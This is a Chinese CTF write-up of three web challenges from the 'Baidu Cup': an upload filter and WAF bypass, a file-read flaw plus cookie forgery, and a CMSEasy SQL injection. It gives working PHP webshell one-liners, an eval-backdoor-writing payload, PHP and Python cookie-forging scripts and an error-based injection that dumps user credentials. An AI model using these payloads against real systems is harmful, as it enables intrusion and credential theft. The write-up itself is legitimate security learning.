BCTF第一周writeup

上周玩了“百度杯”CTF夺旗大赛,题目主要是三道web题目,以后每个周末都会有这样的BCTF的比赛,周末再也不会无聊了。总体来说,第一周的3道web题目还是有一定的难度的,主要是考察的技巧性和技术性方面的东西,题目的质量还是可以的。最终我做出了2道题目,最后我参考别人的writeup和我自己的思考写出了这篇文章。

Upload

确定过滤规则

通过上传测试,发现上传时对php和开头<?都进行了过滤,无法简单地上传一句话木马来解决问题。
通过PHP标记的SCRIPT风格可以避免这个问题。即使用类似的语句

1
<script langauge='php'>phpinfo();</script>

但是上传之后发现将phpinfo()中的php进行了过滤,无法执行。

找到过滤方法

既然知道了过滤规则,那么我就尝试使用最常见的php一句话木马进行上传。

1
<script langauge='php'>@eval($_POST["a"])</script>

发现被WAF拦截。
接下来看到了那些强悍的PHP一句话后门。使用

1
2
3
4
5
<script langauge='php'>
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
</script>

虽然可以成功上传,但是却无法使用。
接下来又使用

1
<?php $_GET[a]($_GET[b]);?>

利用方法

1
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

上面这条语句的实际是:

1
?a=assert&b={fputs(fopen(base64_decode(),w),base64_decode(<?php @eval($_POST[c]); ?>1))}

执行之后会生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马。
最后虽然可以成功上传,但是在使用利用语句的时候还是被WAF拦截,我猜测是因为在其中存在了一个fputs()和fopen()的方法。

payload

后来经过多次尝试,使用如下的语句可以绕过WAF

1
<script language='PHP'>$a=str_rot13('nffreg');$a($_POST['x']);</script>

绕过WAF之后,使用scandir("..")可以发现存在flag.php文件。

然后使用file_get_contents读取文件的内容。

最后查看网页源代码就可以得到flag了。

其他方法

最后看了一下别人的writeup,又学习到了一招。别人最终的writeup是

1
<script language='pHp'>system($_GET[a]);</script>

传上去之后使用?a=cat%20../flag.php就完成了。
这种方法确实是巧妙,我之前完全没有见过。

code

文件读取漏洞

访问之后题目得到题目的URL是http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/index.php?jpg=hei.jpg。感觉是一个文件读取的漏洞,尝试读取index.php的内容。
使用http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/index.php?jpg=index.php,可以得到index.php的base64编码格式文件。decode之后,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
* Can you find the flag file?
*
*/

?>

最上面有开发的信息,是使用phpstorm来开发的。(这一点也是别人提示我之后才发现的)那么尝试读取.idea总的workspace.xml的内容,因为在workspace.xml中包含了当前项目下所有的php文件。
访问如下的url。http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/.idea/workspace.xml

在其中发现fl3g_ichuqiu.php,可能与flag有关。
通过同样的方式读取fl3g_ichuqiu.php的内容。但是根据index.php的代码,index.php会将config替换为_。那么最后的ur为http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php。decode之后,得到fl3g_ichuqiu.php源代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);

$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>

解密POC

根据fl3g_ichuqiu.php写出最后的解密代码。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
function decrypt($encrypttext) {
$txt="guest";
$tmp="";
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$encrypttext = base64_decode($encrypttext);
$rnd = substr($encrypttext,0,4);
$ttmp = substr($encrypttext,4);
$key="";
for($i=0;$i<strlen($tmp);$i++) {
$key.=$ttmp[$i] ^ $tmp[$i];
}

$tmp="";
$txt = "system";
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$chars="0123456789abcdef";
$keys = array();
for($i=0;$i<strlen($chars);$i++) {
$keys[$i]=$key.$chars[$i];
}
$results=array();
$ttmps = array();
$txt2="";
for($i=0;$i<16;$i++){
$key = $keys[$i];
for($j=0;$j<strlen($txt);$j++){
$txt2 .= $txt[$j] ^ $key[$j];
}
$result = base64_encode($rnd.$txt2);
var_dump($result);
$txt2='';
}

}
decrypt(user的cookie值);
?>

接下来就访问http://9521c4ae07234d649f25d3d9982c2cb0aae08765a1d746d0.game.ichunqiu.com/fl3g_ichuqiu.php得到其中的cookie值。

然后作为解密程序的程序传入,得到16个字符串。其中一个就是system的cookie值,然后使用burpsuite进行测试,就可以得到结果。

其他方法

看了别人的方法,我发现又存在更简单的方法了。因为在使用burp的时候,我还遇到了一点困难,就是不知道如何替换其中的cookie,后来也是挣扎了一下最终才成功的。但是别人最后直接使用的Python来完成的。
代码的逻辑和我的逻辑是一样的,只不过是在最后多了一个替换cookie发送请求的代码。以下就是我参考别人的代码写出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
import requests

def decrpyt(cookie):
txt = "guest"
tmp = ""
for char in txt:
tmp += chr(ord(char)+10)
data = base64.b64decode(cookie).decode('utf-8')
rnd = data[:4]
print(rnd)
ttmp = data[4:]
key = ""
#得到key前面5位
for index in range(len(tmp)):
key += chr(ord(tmp[index])^ord(ttmp[index]))

tmp=""
txt = "system"
for char in txt:
tmp += chr(ord(char)+10)
print(len(tmp))
print(ord(tmp[1]))

chars = "0123456789abcdef"
for i in range(16):
#得到6位数的key
new_key = key+chars[i]
system_cookie=""
for j in range(6):
system_cookie += chr(ord(new_key[j])^ord(tmp[j]))
result = base64.b64encode((rnd+system_cookie).encode('utf-8')).decode('utf-8')
print(result)
cookie = {"user":result}
url = 'http://765a8dec3c454edd8418e0d099886bebf7efa2dd059945d6.game.ichunqiu.com/fl3g_ichuqiu.php'
response = requests.get(url,cookies=cookie)
print(response.content.decode('utf-8'))


decrpyt("cWhONEFKDRxI")

上面的这段python代码是在python3.x下面写的。

YseserCMS

判断cms类型

这道题目我最后并没有做出来,思路也就没有什么好分享了啦,接下来的主要就是看着别人的writeup来写了。
首先扫描目录发现存在一个robots.txt,发现根目录下存在flag.php。那么最后就是要读取flag.php里面的内容了。
接着看网站的评论处的图片信息,就会发现是一个cmseasy。

找到注入点

去wooyun的镜像网站上面找到了一处cmseasy的注入漏洞
访问如下的url,http://a2d0ecce4cad448987a6b11bcd691749a34acc69368048e9.game.ichunqiu.com/celive/live/header.php
POST的数据是
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
实际上POST的数据经过urldecode和base64decode之后得到的结果实际的数据是xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>那么通过实际的发送的数据,我们可以知道这是一个sql的报错注入。最后返回的数据是如下图。

但是发现updatexml并不能完全将admin的密码爆出来,修改mid参数中的1,32为32,64然后的得到admin的密码为ff512d4240cbbdeafada40467ccbe61。这是md5进行加密的。解密出来得到密码是Yeser231

找到文件读取漏洞

登陆到后台之后,在模板/当前模板出存在文件读取的漏洞,使用burp修改其中的参数为flag.php就可以读取到flag了。如下:

总结

以上就是BCTF第一周的三道题目的writeup。总体来说题目质量还不错,也学习了很多,比如php的标签方法,php一句话木马的写法,phpstorm的配置文件导致的信息泄露,以及报错注入的写法。需要学习和总结的东西还有很多呀,也欢迎喜欢玩CTF的同学们来一起交流学习。

参考

百度杯 CTF 比赛第一场 writeup